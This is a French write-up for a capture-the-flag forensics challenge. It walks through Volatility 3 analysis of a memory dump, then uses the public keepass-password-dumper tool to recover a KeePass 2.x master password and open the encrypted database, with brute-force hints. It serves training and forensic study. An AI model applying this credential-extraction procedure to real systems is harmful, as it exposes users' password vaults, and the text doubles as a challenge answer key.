**Maintenant que nous sommes sûrs de l'identité du traître, il faut comprendre comment l'attaquant s'est latéralisé !**
À vous, équipe ForenSith d'analyser la mémoire de l'ordinateur compromis et de retrouver comment l'attaquant a pu se latéraliser depuis une machine isolée.
Suite aux preuves que vous avez apporté, il est clair que l'attaquant a accédé directement à l'ordinateur du StormDéveloppeur corrompu via une connexion distante.
Cependant, afin de sécuriser le réseau de la Nécropole Stellaire, vous, équipe ForenSith, êtes chargé de trouver la faille utilisée par l'attaquant pour se latéraliser en analysant la mémoire de l'ordinateur au moment de l'attaque.
Retrouvez le moyen utilisé par l'attaquant pour accéder au réseau interne de la Nécropole Stellaire.
Cette vulnérabilité affecte KeePass 2.x (versions 2.00 à 2.53.1) et permet de récupérer en clair le mot de passe master d'une de ses bases de données à partir d'un dump mémoire. La faille exploite la façon dont .NET gère les chaînes de caractères en mémoire via le composant SecureTextBoxEx. Pour chaque caractère saisi, une chaîne est créée en mémoire et ne peut être supprimée en raison du fonctionnement de .NET.
Particularité importante : L'extraction fonctionne même sur une session KeePass active en parallèle de notre analyse, que l'espace de travail soit verrouillé ou non. Le dump peut être effectué depuis différentes sources : processus KeePass, fichier de pagination, fichier d'hibernation ou dump RAM complet.
memdump.mem : dump mémoire principaledb1.kdbx : base de données KeePass chiffréeUtilisation de Volatility 3 pour obtenir les données sur l'OS :
python3 vol.py -f memdump.mem windows.info
Vérification de l'exécution de KeePass sur la session active :
python3 vol.py -f memdump.mem windows.pslist | grep -i keepass
python3 vol.py -f memdump.mem windows.verinfo | grep KeePass
On remarque sur la seconde fonction que la version du processus est 2.53 et qu'il s'agit d'une application qui a été soumise à CVE en raison d'une vulnérabilité.
Sortie attendue :
KeePass.exe [PID]
N.B. : Le joueur aura, quant à lui, à rechercher le bon processus dans la liste.
Recherche de la vulnérabilité sur Internet puis utilisation de l'outil de reproduction.
Installation de la version .NET depuis le repository GitHub :
git clone https://github.com/vdohney/keepass-password-dumper
cd keepass-password-dumper
Alternative Python : Il existe également une implémentation Python du dumper (moins rapide).
Application directe de l'outil d'exploitation sur le dump mémoire complet :
dotnet run memdump.mem
Cette commande analyse directement le dump mémoire sans nécessiter d'extraction préalable par Volatility.
Sortie attendue :
...
[STEPS REALISEES PAR L'OUTIL]
...
*[Mot de passe récupéré]
N.B. : Seul le premier caractère n'est pas récupérable avec cette méthode d'exploitation. Il faudra également choisir un caractère entre plusieurs choix pour le 2 et le 3 (le brute-force reste possible en cas d'incompréhension)
Pour générer une liste complète des mots de passe possibles :
dotnet run memdump.mem wordlist.txt
Cette commande génère toutes les combinaisons possibles en commençant par le deuxième caractère.
Ouverture du fichier .kdbx avec le mot de passe extrait :
keepassxc-cli open db1.kdbx ; ou GUI :)
N.B. : Cela peut être automatisé avec un script pour brute-force.
Saisie du mot de passe récupéré au sein de la liste de la base de données (il suffit de chercher intranet).
Cette étape peut être réalisée via interface graphique ou via ligne de commande.